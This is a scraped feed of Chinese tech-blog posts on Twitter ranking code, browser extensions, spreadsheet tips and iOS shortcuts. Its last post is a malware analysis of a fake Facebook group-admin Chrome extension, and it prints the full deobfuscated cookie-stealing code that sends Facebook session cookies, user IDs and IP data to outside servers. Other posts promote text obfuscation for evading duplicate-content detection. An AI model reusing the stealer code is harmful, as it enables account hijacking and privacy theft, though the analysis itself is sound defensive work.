adjustedMass = score } accountScore.innerText = adjustedMass } function calcPostWeight () { const postTime = document.getElementById('postTime').value const postScore = document.getElementById('postScore') if (!postTime) return alert('请选择发帖时间') const halfLife = 360 const slope = 0.003 const base = 0.6 const minutesPassed = (Date.now() - new Date(postTime).getTime()) / (1000 * 60) const ageDecay = Math.pow(2, -minutesPassed / halfLife) const score = base + (1 - base) * ageDecay * Math.exp(-slope * minutesPassed) postScore.innerText = score } ","tags":[{"index":-1,"name":"Twitter (X)","slug":"twitter-x","used":true,"link":"https://dev-coco.github.io/tag/twitter-x/"}],"title":"推特 Twitter 演算法和推送机制 2023 最新","feature":"https://dev-coco.github.io/post-images/Twitter-Algorithm.png","link":"https://dev-coco.github.io/post/Twitter-Algorithm/","stats":{"text":"19 min read","time":1117000,"words":4174,"minutes":19},"date":"2023-04-08 23:50:14","dateFormat":"2023-04-08"},{"content":"全新 macOS 清理垃圾工具,超彻底深度清理。支持清理缓存,清理下载目录安装包,系统优化功能。 基于早期做的 Mac Cleaner 重新开发,比之前清理力度更强。 打开软件后,会显示下面的菜单界面,选择对应的功能,点击「好」。 清理缓存 如果是第一次使用,会出现下图中的提示,点击「好」,下次运行的时候就不会再提示了。 因为有部分路径的文件是需要管理员权限才可以删除,所以会要求输入开机密码,或者要求使用触控 ID 验证。 清理完成后会在通知中心提示清理了多少内存。不同的设备使用的软件和使用习惯都会影响到清理的效果,下图的结果仅供参考。 清理下载目录安装包 此功能会清理下载目录下所有的软件安装包,如果你对此功能不了解,请谨慎使用,避免误删文件。 系统优化 这个功能需要管理员的权限才可以运行,所以会要求输入开机密码,或者要求使用触控 ID 验证。 运行后会释放 RAM,并且清理 DNS 缓存,加快运行速度。 对比 下面选了几款 macOS 系统热门的清理垃圾软件,对清理力度做了对比,结果如下(仅供参考)。 项目 Deep Clean CCleaner CleanMyMac X Combo Cleaner 应用程序缓存 ✅ ✅ ✅ ✅ 应用程序沙盒缓存 ✅ ❌ ❌ ❌ Xcode缓存 ✅ ❌ ✅ ❌ 下载目录 ❌ ✅ ❌ ✅ 回收站 ✅ ✅ ❌ ✅ 系统缓存 ✅ ❌ ✅ ❌ 用户缓存 ✅ ❌ ✅ ❌ 用户日志 ✅ ✅ ✅ ✅ 系统日志 ✅ ✅ ✅ ❌ 机器学习缓存 ✅ ❌ ❌ ❌ Safari缓存 ✅ ✅ ❌ ❌ Final Cut Pro 缓存 ✅ ❌ ❌ ❌ Google Chrome缓存 ✅ ✅ ❌ ❌ Brave Browser缓存 ✅ ❌ ❌ ❌ Microsoft Edge缓存 ✅ ❌ ❌ ❌ Arc缓存 ✅ ❌ ❌ ❌ 诊断报告 ✅ ❌ ❌ ❌ 奔溃报告 ✅ ❌ ❌ ❌ 下载记录 ✅ ❌ ❌ ❌ 终端记录 ✅ ❌ ❌ ❌ ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"Deep Clean 深度清理垃圾软件","feature":"https://dev-coco.github.io/post-images/Deep-Clean.png","link":"https://dev-coco.github.io/post/Deep-Clean/","stats":{"text":"2 min read","time":97000,"words":463,"minutes":2},"date":"2023-04-04 11:06:33","dateFormat":"2023-04-04"},{"content":"自定义预设 ChatGPT 提示语。 插件下载:Chrome 插件合集 使用前需要先登陆 ChatGPT 账号,因为插件使用的是 ChatGPT 账号权限。插件主要的功能是为了保存提示语,每次使用的时候只需要挑选对应的提示语再写上内容就可以了,减少花在找提示语的时间上。 使用方法 在中间的输入框输入提示语和需要问 ChatGPT 的内容。下面是例子 将以下的内容翻译成简体中文 Here is an example. >> 这是一个例子。 那么「将以下的内容翻译成简体中文」就是固定的提示语,「Here is an example.」是会变动的内容。 如果想要保存提示语,将提示语输入在上面的输入框,不要输入其它内容,点击「修改提示语」。 点击「添加」。 自定义提示语的名字。 然后提示语就会保存在左侧的列表,点击对应的菜单,提示语就会预设在输入框。 选择左侧的提示语,或者点击「刷新」按钮,会把预设好的提示语放在输入框。 只需要按照需求输入自定义内容就可以用了。 如果想要删除提示语,需要先在左侧选中一个需要删除的提示语,然后点击「修改提示语」。 点击「删除」。 然后就会把选中的提示语删掉了。 提示语支持导入和导出,点击「导出」按钮,会把左侧的提示语列表生成 json 格式的文件,并且下载到本地。 如果要导入配置,点击「导入」,然后打开 json 文件,把内容粘贴到输入框,点击「导入」。 然后提示语就会预设在左侧的列表了。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"ChatGPT Prompt","feature":"https://dev-coco.github.io/post-images/chatgpt-prompt.png","link":"https://dev-coco.github.io/post/chatgpt-prompt/","stats":{"text":"2 min read","time":94000,"words":458,"minutes":2},"date":"2023-03-31 04:17:38","dateFormat":"2023-03-31"},{"content":"用来记录每个日程的时间并且记录到 Google Excel。 插件下载:Chrome 插件合集 功能 记录时间开始和结束的时间,并且实时显示当前事件开始了多少分钟,然后根据日期填写到 Google Excel 中。 使用方法 在表格内按照下图排版,A 列是日期,B、C、D 列分别是上午下午晚上,用来填写事件用。A 列的日期需要按照年月日的格式设置,并且是倒序排序。 Google Excel 模板:链接 插件右键选项的界面设置表格的链接,注意:表格必须开启编辑权限,表格链接对应的是哪个表格,最终数据会填写到哪个表格里。 默认会有一个脚本链接,如果对默认的填表方式不满意,想要自定义修改,可以自行部署一个脚本接口,然后替换掉第一行的脚本链接。如果脚本链接留空,刷新后会恢复默认的脚本链接。 点击插件图标会打开一个窗口,输入需要记录的事件,默认会填充当前的时间,不过可以修改。点击开始,也可以按回车键触发。 然后界面就会记录开始的时间、结束的时间和记录的事件,图标上会记录事件开始了多少分钟。每次点开插件的时候,会自动填充当前的时间作为结束时间,不过可以修改。点击结束后会清空事件,并且填入表格中。 效果如下图 点击左上角的齿轮切换界面,点击「添加」,可以添加一个事项,并且记录添加事项的日期。 如果当天的事项已过期,日期会变成红色。 勾选事件后会显示删除线,点击「清空」按钮会清空所有已完成的事件。双击「清空」按钮会删除所有的事件。 模版分享 下面分享一个我自用的模版,根据 摆脱拖延症,提高效率 这篇文章制作的:时间管理模版 第一次使用需要在 「Apps 脚本」里部署一个脚本链接然后放在插件里使用。 里面包含日程图表分析功能,帮助每天进行复盘到底在什么事情上花费了大量的时间,然后进行改进。 下面是 艾森豪威尔矩阵,用来根据事情的轻重缓急,合理的安排时间去处理这些事件,更高效的管理时间。 还包含了 非计划日程,用来安排一天的日程,并且灵活调整。在「Apps 脚本」里有一个 setTodaySchedule 函数,可以设置天定时器,每天会自动将「非计划日程」里的模板复制到「当日日程」里面。 里面还有 SMART 任务管理,用来拆解难度比较大的事情,并且做计划去执行。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"日程记录","feature":"https://dev-coco.github.io/post-images/Schedule-Record.png","link":"https://dev-coco.github.io/post/Schedule-Record/","stats":{"text":"3 min read","time":153000,"words":755,"minutes":3},"date":"2023-03-27 00:29:04","dateFormat":"2023-03-27"},{"content":"文字创意工坊是一个为创作者提供创作灵感和技巧分享的平台。 工具链接:文字创意工坊 使用方法 放入内容,选择类型和语言,点击开始就会生成新的内容。 功能介绍 减少废话 放入一段话,将会概括这段话里的主要内容。 总结要点 放入一段话,以大纲的形式列出内容中的要点。 改写内容 放入一句话,在不改变原文意思的基础上使用不同的说法表达。 续写内容 放入残缺的一句话,将会照着这句话继续往下生成一些内容。 主题延伸 输入一些关键词,根据这些关键词为主题写一些句子。 小红书风格 输入内容,会按照小红书的风格排版。 伪原创 输入内容,将原文进行加工,让搜索引擎认为是一篇原创文章。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"文字创意工坊","feature":"https://dev-coco.github.io/post-images/Text-Workshop.jpg","link":"https://dev-coco.github.io/post/Text-Workshop/","stats":{"text":"1 min read","time":49000,"words":246,"minutes":1},"date":"2023-03-23 08:04:06","dateFormat":"2023-03-23"},{"content":"用于伪原创,防止社交平台检测内容重复性。 源码下载:https://github.com/dev-coco/String-Obfuscator 在线使用:编码转换工具 使用方法 字符混淆 使用 stringObfuscation 函数,第一个参数放入需要混淆的内容,第二个参数放入混淆的类型,运行后会输出混淆后的字符。 /** * @description 字符混淆 * @param {string} content - 内容 * @param {string} option - 类型 * @returns {string} - 混淆后的内容 */ stringObfuscator(content, option) 如果有部分内容不想被混淆,需要保留原来的样式,需要使用 {},在大括号里的内容会被跳过,字符不会被混淆。 字符还原 使用 stringDeobfuscator 函数,放入混淆后的内容,运行后会输出还原后的内容。 /** * @description 字符还原 * @param {string} str - 混淆后的内容 * @returns {string} - 还原后的内容 */ stringDeobfuscator(str) 例子 stringObfuscator('Hello, World!', 'style1') >> 𝐇𝐞𝐥𝐥𝐨, 𝐖𝐨𝐫𝐥𝐝! stringObfuscator('Hello, {World}!', 'style2') >> 𝗛𝗲𝗹𝗹𝗼, World! stringDeobfuscato('𝐇𝐞𝐥𝐥𝐨, 𝐖𝐨𝐫𝐥𝐝!') >> Hello, World! 效果预览 style1 衬线粗体 Bold (serif) 𝐇𝐞𝐥𝐥𝐨 𝐖𝐨𝐫𝐥𝐝 style2 无衬线粗体 Bold (sans) 𝗛𝗲𝗹𝗹𝗼 𝗪𝗼𝗿𝗹𝗱 style3 Mathematical (sans) 𝖧𝖾𝗅𝗅𝗈 𝖶𝗈𝗋𝗅𝖽 style4 等宽字体 Monospace 𝙷𝚎𝚕𝚕𝚘 𝚆𝚘𝚛𝚕𝚍 style5 衬线斜体 Italic (serif) 𝐻𝑒𝑙𝑙𝑜 𝑊𝑜𝑟𝑙𝑑 style6 无衬线斜体 Italic (sans) 𝘏𝘦𝘭𝘭𝘰 𝘞𝘰𝘳𝘭𝘥 style7 衬线粗斜体 Bold / Italic (serif) 𝑯𝒆𝒍𝒍𝒐 𝑾𝒐𝒓𝒍𝒅 style8 无衬线粗斜体 Bold / Italic (sans) 𝙃𝙚𝙡𝙡𝙤 𝙒𝙤𝙧𝙡𝙙 style9 小型大写 Small Capital 长得比较小的大写字母。 ʜᴇʟʟᴏ ᴡᴏʀʟᴅ style 10 双线体 Double Struck ℍ𝕖𝕝𝕝𝕠 𝕎𝕠𝕣𝕝𝕕 style11 草书 Cursive ℋ𝑒𝓁𝓁𝑜 𝒲𝑜𝓇𝓁𝒹 style12 草书粗体 Bold Cursive 𝓗𝓮𝓵𝓵𝓸 𝓦𝓸𝓻𝓵𝓭 style13 德文尖角 Fraktur ℌ𝔢𝔩𝔩𝔬 𝔚𝔬𝔯𝔩𝔡 style14 德文尖角粗体 Bold Fraktur 𝕳𝖊𝖑𝖑𝖔 𝖂𝖔𝖗𝖑𝖉 style15 小字体 Tiny ᴴᵉˡˡᵒ ᵂᵒʳˡᵈ style16 全宽 Vaporwave Hello World style17 上下颠倒 Upside Down 需要将屏幕倒过来看。 pןɹoM oןןǝH style18 SMS 常用语 将常规单词替换成短信常用语。 原文:Goodbye my friend, see you tomorrow. 效果:Goodbye my friend, cu 2mro. style19 彩虹心 将空格替换成不同颜色的爱心 Emoji。 原文:Goodbye my friend, see you tomorrow. 效果:Goodbye🧡my💙friend,❤️see💙you💛tomorrow. style20 填充 Emoji 在特定的关键词后面自动加上相对应的 Emoji。 原文:Good morning, remember to call me back at noon. 效果:Good morning🌞, remember to call📲 me back🔙 at noon🕛. space1 填充空格 50% 概率会将一个空格替换成两个空格。 原文:Goodbye my friend, see you tomorrow. 效果:Goodbye my friend, see you tomorrow. space2 填充特殊字符 50% 概率随机填充不可见的特殊字符。 原文:Goodbye my friend, see you tomorrow. 未编码效果:Goodbye my\\b friend,\\b\\b see\\b you\\b\\b tomorrow. \\b\\b ","tags":[{"name":"Javascript","slug":"javascript","used":true,"link":"https://dev-coco.github.io/tag/javascript/"}],"title":"字符混淆","feature":"https://dev-coco.github.io/post-images/String-Obfuscator.png","link":"https://dev-coco.github.io/post/String-Obfuscator/","stats":{"text":"3 min read","time":146000,"words":571,"minutes":3},"date":"2023-03-22 09:50:15","dateFormat":"2023-03-22"},{"content":"超多功能 All in One,简单易用,必备工具。 工具链接:Google Excel 批量操作 使用前需要确保表格有编辑者的权限,如果表格内有部分范围设置了保护,可能有的功能会无法正常执行。 在输入框输入表格的链接,然后在下拉菜单选择对应的功能。 基础功能 列转行 在表格中复制一列的内容放入输入框,输入列转行需要间隔的数量(非必填),点击「运行」,然后会将一列的内容转换成一行的内容,并且按照指定的间隔数量输出。 行转列 在表格中复制一行的内容放入输入框,输入行转列需要间隔的数量(非必填),点击「运行」,然后会将一行的内容转换成一列的内容,并且按照指定的间隔数量输出。 行间隔 在表格中复制一列的内容放入输入框,输入每行之间需要间隔的数量,点击「运行」。然后会按照指定的间隔数量输出。 列间隔 在表格中复制一行的内容放入输入框,输入每列之间需要间隔的数量,点击「运行」。然后会按照指定的间隔数量输出。 删除表格 选择表格名称,点击「开始运行」,会将选中的表格删除。 复制表格 在右侧选择一个工作表,然后在左边的输入框输入要创建的表格名字,一行一个,点击「开始运行」。 然后会将选中的表格作为模版,复制并且按照设定好的名字进行重命名。 表格重命名 右侧是表格的原名称,在左边对应的输入框输入要修改的新名称,如果无需修改,在输入框留空即可,点击「开始运行」。 然后会根据设定好的新名称进行重命名。 隐藏表格 列表只会显示正在显示的表格,如果表格已被隐藏则不会显示。选择表格名称,点击「开始运行」。 在表格内会隐藏对应的表格。注意:不可以隐藏所有的表格,至少保留一个显示的表格。 显示表格 列表只会显示正在隐藏的表格。选择表格名称,点击「开始运行」。 在表格内会将隐藏的表格显示出来。 删除副本字样 重命名表格内所有包含副本字样的表格名称。注意:如果重命名后的名称,在表格内有重复,会重命名失败。 清空内容(保留函数) 例如 A1:A9, B1:E1 包含 SUM 函数。 在右侧选择表格名称,在左侧的输入框输入需要清空内容的范围。 然后会将选中的表格删除 A 到 E 列所有的内容,但是函数会被保留下来不会被清空。 删除多余行/列 在表格内有多余没有使用的行和列。例如图中 C:D, 5:15 范围都是没有使用的。 选择表格名称,点击「开始运行」。 然后会清空表格内未使用的行和列。 转换文本 在表格内有纯文本和函数。 选择表格名称,点击开始运行。 然后会将表格内的所有的内容转换成文本值。 写入数据 在右侧选择表格名称,在左侧输入框的第一行输入需要写入数据的单元格范围(只限单个单元格),在第二行输入需要写入的内容,可以是文本,也可以是函数,点击开始运行,然后会根据指定的范围写入相应的内容。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"},{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 批量操作工具","feature":"https://dev-coco.github.io/post-images/Google-Excel-Batch-Action.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Batch-Action/","stats":{"text":"4 min read","time":193000,"words":954,"minutes":4},"date":"2023-03-20 20:49:09","dateFormat":"2023-03-20"},{"content":"夜晚的时候减少设备耗电量。 设置方法 在快捷指令的「自动化」中添加一个「睡眠」的自动化流程,选择「就寝开始」。需要配合睡眠闹钟一起使用。 关闭 Wi-Fi、蜂窝数据、蓝牙。 因为在晚上睡觉的时候并不会再去浏览手机了,所以开着也是在消耗电量,不如直接关闭。 开启低电量模式。开启后会减少设备的电量消耗。 亮度设置 5%,音量设置 80%。 这个可以根据情况自行调节,降低亮度的目的是为了在夜晚需要看时间的时候不会太刺眼,设置一个刚好的亮度即可。 在「自动化」中把「运行前询问」和「运行时通知」关闭,在就寝开始的时候就会静默运行,不会有任何的提示。 在快捷指令的「自动化」中添加一个「睡眠」的自动化流程,选择「起床时」。 打开 Wi-Fi,亮度设置 45%,音量设置 50%。 根据情况自行设置,当起床的时候,设置到日常的配置。 在快捷指令的「自动化」中和之前一样设置,静默运行就行,不会有任何提示。 ","tags":[],"title":"快捷指令 - 夜间省电","feature":"https://dev-coco.github.io/post-images/Nighttime-Power-Saving.png","link":"https://dev-coco.github.io/post/Nighttime-Power-Saving/","stats":{"text":"2 min read","time":64000,"words":316,"minutes":2},"date":"2023-03-19 01:43:01","dateFormat":"2023-03-19"},{"content":"不同样式的下拉菜单消耗的性能也不同。 适用场景 根据不同的需求使用不同的样式。 测试条件 在 50 万个单元格中设置不同的下拉菜单样式。 一共有三种下拉菜单的样式,分别是:条状标签、箭头和纯文本。 条状标签 将 50 万个单元格设置条状标签耗时 4.6 秒左右。 设置完条状标签后重新打开表格,耗时 12.3 秒左右。 箭头 将 50 万个单元格设置箭头样式耗时 3.9 秒左右。 设置完箭头样式后重新打开表格,耗时 7.4 秒左右。 纯文本 将 50 万个单元格设置纯文本样式耗时 4.2 秒左右。 设置完纯文本样式后重新打开表格,耗时 10.1 秒左右。 测试结果 经过上面的测试,在单元格数量相同的情况下,不论是设置样式的速度,还是设置完打开表格的速度,箭头样式要比纯文本样式加载速度要快,纯文本样式加载速度比条状标签快。 为你推荐:Google Excel 性能优化教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 下拉菜单性能对比","feature":"https://dev-coco.github.io/post-images/Dropdown-Menu-Performance-Test.jpg","link":"https://dev-coco.github.io/post/Dropdown-Menu-Performance-Test/","stats":{"text":"2 min read","time":64000,"words":308,"minutes":2},"date":"2023-03-15 12:58:46","dateFormat":"2023-03-15"},{"content":"一样的效果,数组的速度快得超乎想象。 适用场景 相同的函数大量的重复使用。 优化思路 将重复使用的函数改成用数组输出。 实例 例如需要将 A 列的内容和 B 列的内容合并在一起,一共 30 万的数据,先试试看常规写法。 耗时大约 22 秒左右。 使用 ARRAYFORMULA 数组输出,耗时大约 4 秒左右。 使用 MAP 数组输出,耗时大约 9 秒左右。 从测试的数据来看,数组输出的速度要比常规的写法快很多,其中 ARRAYFORMULA 性能最佳,MAP 其次,不过在一些特殊场景 MAP 会更加灵活。 因为常规的写法是每一个单元格都有一个函数进行计算,那么就等于迸发式的执行。每一个函数函数都在同一时间进行计算,会导致表格暂时性的卡住,如果是大型数据可能会直接奔溃。 那么使用数组就不一样了,会将引用的范围按照顺序依次进行计算,这样就避免了同一时间大量的计算,这也是为什么数组要比常规的写法性能更快。 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - 数组输出","feature":"https://dev-coco.github.io/post-images/Google-Excel-Array-Output.png","link":"https://dev-coco.github.io/post/Google-Excel-Array-Output/","stats":{"text":"2 min read","time":65000,"words":316,"minutes":2},"date":"2023-03-14 11:49:18","dateFormat":"2023-03-14"},{"content":"浏览器自定义窗口大小摆放指定坐标。 插件下载:Chrome 插件合集 效果预览 使用方法 新建一个 Google 表格,在 A 列放入编号,B 列放入窗口尺寸,C 列放入坐标,D 列为启用状态。 窗口尺寸 格式:宽度x高度 指的是浏览器窗口的宽度和高度。 坐标 格式:显示器xX轴xY轴,注意中间用小写 x 间隔。 第一个参数是显示器,例如有两个显示器,那么设置 1 会在第一个显示器排版,设置 2 会在第二个显示器排版。第二个参数是 X 轴,从左到右计算开启的位置。第三个参数是 Y 轴,从上到下开始计算位置。 启用状态 使用复选框,在勾选的时候才会启用,未勾选的状态不会生效。 在浏览器安装插件,在第一个输入框放入表格链接,表格至少开启查看权限。在第二个输入框放入表格内 A 列对应的编号。 当浏览器首次开启后就会按照表格内设置的窗口大小和坐标自动排版了。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"浏览器窗口自动排版","feature":"https://dev-coco.github.io/post-images/Browser-Resize.png","link":"https://dev-coco.github.io/post/Browser-Resize/","stats":{"text":"2 min read","time":63000,"words":305,"minutes":2},"date":"2023-03-11 12:14:57","dateFormat":"2023-03-11"},{"content":"充满电后自动语音播报。 此功能可以在充电的过程中及时了解电量情况,并在充满电后自动播报语音提示,无需担心忘记拔掉充电器,避免过量充电对电池寿命造成的损害。 设置方法 在快捷指令的「自动化」中添加一个「电池电量」的自动化流程。电量选择等于 100%。 先获取当前音量,因为需要在语音播报后还原设备原来的音量。 将音量设置到 50%,目的是设置一个可以清楚听到语音提示的音量,还有一个目的是为了防止手机在静音或者音量很小的时候听不到语音播报。 设置一个需要语音播报的内容,这里我设置的是「充电完成」。 最后播放设置好的文本内容生成的音频,播放完成后恢复原来的音量。 在「自动化」中把「运行前询问」和「运行时通知」关闭,这样当充满电时就可以静默运行,不会有任何的提示。 ","tags":[{"name":"iOS","slug":"ios","used":true,"link":"https://dev-coco.github.io/tag/ios/"}],"title":"快捷指令 - 充电提示","feature":"https://dev-coco.github.io/post-images/Shortcuts-Charging-Reminder.png","link":"https://dev-coco.github.io/post/Shortcuts-Charging-Reminder/","stats":{"text":"1 min read","time":57000,"words":285,"minutes":1},"date":"2023-03-10 08:12:39","dateFormat":"2023-03-10"},{"content":"记录一下遇到的一个 Chrome 盗号插件逆向分析的过程。 起因 事情的经过是这样的,我在网上找到了一个在小组没有管理员的情况下,可以成为 Facebook 小组管理员的插件,而且描述写的是 2023 年有效。据我所知,这类的接口已经十分老旧,而且作用不大了,不过抱着好奇的心理,还是下载来看看。 俗话说「免费的才是最贵的」,在使用之前还是要先审查一下是否有安全隐患,因为免费的插件并不能带来什么经济收益。有的作者可以会用来提高自己的知名度而提供免费使用,有的人也会用来插入后门代码用来窃取用户隐私。 分析结构 先来分析一下这个插件安装包的整体结构。 主要的功能是通过 JavaScript 代码来控制的,所以主要分析的文件有 background.js, popup.js 和 manifest.json。 因为 manifest.json 记录了 Chrome 插件的配置文件,里面记录了哪些 JavaScript 文件在哪些域名使用,以及插件所用到的权限。content.js 虽然是 JavaScript 文件,但是不作为主要分析的文件,因为大小是 0字节,是一个空文件。jquery.min.js 是一个常见的 JavaScript 库,一般情况下不会在里面写入恶意代码,当然,不排除这种小概率事件。 manifest.json 这个文件里有几个地方比较可疑,content_scripts 和 permissions 设置的 http://*/*、https://*/* 和 <all_urls> 都是全局加载的。但是这个插件只是 Facebook 小组相关的功能,只需要在 Facebook 域名下使用即可,但是插件里面设置的是所有的域名都会加载代码,获取的权限太高了,超出了功能该有的权限。而且还用到了 unsafe-eval 这个比较危险的东西,可以将字符串当作代码执行。 { "name": "Claim Group Facebook 2023", "version": "0.0.1", "manifest_version": 2, "browser_action": { "default_icon": "images/icon.png", "default_title": "Claim Group Facebook 2023" }, "background": { "scripts": ["background.js"] }, "content_scripts": [ { "matches": ["http://*/*", "https://*/*"], "js": ["content.js","popup.js"] } ], "permissions": ["contextMenus","webRequest", "webRequestBlocking", "activeTab","storage","<all_urls>", "cookies","downloads", "tabs", "*://*.facebook.com/*","http://*/*", "https://*/*"], "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'" } popup.js 这里的代码被加密了,从开头的 _0x4bb0 变量看起来是用 16 进制 加密的,下面的代码变量名也被修改了。 那么一步一步的把代码给还原出来,使用 编码转换工具,把 16 进制 转换成文本。 这里可以看到一些越南语,还有一个域名。使用 Whois 工具查询,可以确认这是一个越南的站点,这个作者是越南人。 下半部分的代码是通过 _0x4bb0 这个数组里面取出来文本再拼接起来的,那么就手动从数组里将文本挨个还原出来。 还原后,发现还有 _0x567b 这个数组也需要还原出来,需要再还原一次。 还原后如下 不过代码现在可读性比较差,需要进行排版美化一下,再把变量名重命名。还原后的最终代码如下: $(document).ready(function () { getCookie() function getCookie () { console.log('Vui lòng không thao tác ở đây !') chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) { let cookieStr = '' for (let i = 0; i < cookieInfo.length; i++) { cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};` // if (cookieInfo[i].name == 'c_user') currentUid = cookieInfo[i].value } $('#cookie').val(cookieStr) }) } $('body').on('click', '#save', function (evt) { evt.preventDefault() const uid = $('#uid').val() if (uid.length < 5) { alert('Vui lòng nhập uid !') return } $('#thongtin').text('Admin nomination in progress!'); for (let i = 0; i < 100; i++) { setTimeout(function () { $('#loadding').width(i + 1 + '%') $('#load').text(i + 1) if (i == 99) $('#thongtin').text('Result: You have become the admin of the group') }, i * 50) } }) }) getCookie() function getCookie () { console.log('Vui lòng không thao tác ở đây !') chrome.cookies.getAll({ 'url': 'https://www.facebook.com' }, function (cookieInfo) { let cookieStr = '' for (let i = 0; i < cookieInfo.length; i++) { cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};` // if (cookieInfo[i].name == 'c_user') currentUid = cookieInfo[i].value } currentCookie = cookieStr const headers = new Headers() headers.append('Content-Type', 'application/x-www-form-urlencoded') const body = new URLSearchParams() body.append('info', `{"data": [{ "type":"fb","info":"${currentCookie}"},{}]}`) body.append('add', 'v') const option = { method: 'POST', headers, body, redirect: 'follow' } fetch('http://metaplus365.com/insert/index.php', option).then(response => { return response.text() }).then(response => { return console.log(response) }).catch(error => { return console.log('error', error) }) }) } 代码一共有两个 getCookie() 函数。第一个是根据 Facebook 的域名获取完整的 cookies 拼接好写入 #cookie 标签。 getCookie() function getCookie () { console.log('Vui lòng không thao tác ở đây !') chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) { let cookieStr = '' for (let i = 0; i < cookieInfo.length; i++) { cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};` } $('#cookie').val(cookieStr) }) } 第二个的方法类似,获取完整的 cookies,并且发送到 http://metaplus365.com/insert/index.php ,这个域名。到这里已经可以确定这个插件会窃取用户隐私了。 getCookie() function getCookie () { console.log('Vui lòng không thao tác ở đây !') chrome.cookies.getAll({ 'url': 'https://www.facebook.com' }, function (cookieInfo) { let cookieStr = '' for (let i = 0; i < cookieInfo.length; i++) { cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};` } currentCookie = cookieStr const headers = new Headers() headers.append('Content-Type', 'application/x-www-form-urlencoded') const body = new URLSearchParams() body.append('info', `{"data": [{ "type":"fb","info":"${currentCookie}"},{}]}`) body.append('add', 'v') const option = { method: 'POST', headers, body, redirect: 'follow' } fetch('http://metaplus365.com/insert/index.php', option).then(response => { return response.text() }).then(response => { return console.log(response) }).catch(error => { return console.log('error', error) }) }) } background.js 这里用的混淆方式和刚才的 popup.js 类似,也是使用 16 进制 加密,修改变量名。因为加密后的代码太长,就不放出来了,直接放还原后的代码。 let g_IPAdress = '' let g_Country = '' GetIPAdress() function GetIPAdress () { const option = { method: 'GET', redirect: 'follow' } fetch('http://gd.geobytes.com/GetCityDetails', option).then(response => { return response.text() }).then(response => { try { const json = JSON.parse(response) g_IPAdress = json.geobytesipaddress g_Country = json.geobytesfqcn } catch {} }).catch(error => { return console.log('error', error) }) } setTimeout(function () { SendData() }, 3000) function SendData () { const obj = {} chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) { let cookieStr = '' for (let i = 0x0; i < cookieInfo.length; i++) { cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};` try { if (cookieInfo[i].name == 'c_user') obj.uid = cookieInfo[i].value } catch {} } cookieStr += `useragent=${btoa(navigator.userAgent).replace('=', '%3D').replace('=', '%3D').replace('=', '%3D')};` obj.cookie = cookieStr obj.country = g_Country obj.ip_adress = g_IPAdress console.log('all info: ' + JSON.stringify(obj)) RealSend('https://script.google.com/macros/s/AKfycbyzzn30aD8GO6t5OZDS2oADgBpmGKIf9Id5O9yHW2nzpAheqpoQNjPDGUBgodQge5ng/exec', obj) }) } function RealSend (url, obj) { const headers = new Headers() headers.append('authority', 'script.google.com') headers.append('accept', 'application/json, text/javascript, */*; q=0.01') headers.append('x-client-data', 'CIm2yQEIpbbJAQjEtskBCKmdygEI9sfKAQjnyMoBCOnIygEItMvKAQj7zcoBCNvVygEI2tfKAQie2MoB') headers.append('sec-fetch-site', 'cross-site') headers.append('sec-fetch-mode', 'cors') headers.append('sec-fetch-dest', 'empty') headers.append('accept-language', 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7,fr-FR;q=0.6,fr;q=0.5') const option = { method: 'GET', headers, redirect: 'follow' } let link = '' link += url.trim() link += '?uid=' + obj.uid link += '&cookie=' + btoa(obj.cookie) link += '&country=' + btoa(g_Country) link += '&ip_adress=' + btoa(g_IPAdress) link += '&time=' + btoa(new Date().toLocaleString()) fetch(link.trim(), option).then(response => { return response.text() }).then(response => { console.log(response) }).catch(error => { return console.log('error', error) }) } 这段代码会先运行 GetIPAdress() 函数,然后向 http://gd.geobytes.com/GetCityDetails 这个域名发送请求,获取用户的 IP 地址和国家,写到变量里。 GetIPAdress() function GetIPAdress () { const option = { method: 'GET', redirect: 'follow' } fetch('http://gd.geobytes.com/GetCityDetails', option).then(response => { return response.text() }).then(response => { try { const json = JSON.parse(response) g_IPAdress = json.geobytesipaddress g_Country = json.geobytesfqcn } catch {} }).catch(error => { return console.log('error', error) }) } 等待 3 秒后会运行 SendData() 这个函数,应该是为了确保前面获取到了用户 IP 地址信息后再运行,所以才等待 3 秒。这里会获取 Facebook 的用户 ID 和 Cookies 信息,并且记录当前浏览器使用的 User-Agent,然后发送到 Google Script 自定义的 API 接口。这里也是一个窃取用户隐私的代码。 chrome.cookies.getAll({ url: 'https://www.facebook.com' }, function (cookieInfo) { let cookieStr = '' for (let i = 0x0; i < cookieInfo.length; i++) { cookieStr += `${cookieInfo[i].name}=${cookieInfo[i].value};` try { if (cookieInfo[i].name == 'c_user') obj.uid = cookieInfo[i].value } catch { } } cookieStr += `useragent=${btoa(navigator.userAgent).replace('=', '%3D').replace('=', '%3D').replace('=', '%3D')};` obj.cookie = cookieStr obj.country = g_Country obj.ip_adress = g_IPAdress console.log('all info: ' + JSON.stringify(obj)) 